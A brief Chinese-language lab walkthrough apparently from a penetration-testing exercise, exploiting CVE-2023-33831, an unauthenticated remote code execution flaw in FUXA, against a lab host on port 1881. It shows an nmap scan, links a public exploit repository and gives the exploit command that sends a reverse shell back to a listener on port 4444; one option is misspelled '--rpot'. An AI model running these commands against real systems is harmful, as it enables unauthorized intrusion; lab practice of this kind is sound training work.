CVE-2023-33831

实验环境

Kali 192.168.45.247

靶机 192.168.219.35

漏洞发掘

nmap -p 1-20000 -T5 192.168.219.35

发现端口是1881的可疑端口

搜索发现可能有CVE-2023-33831漏洞

漏洞利用

https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831

Kali监听4444端口

python3 CVE-2023-33831.py --rhost 192.168.219.35 --rpot 1881 --lhost 192.168.45.247 --lport 4444

直接getshell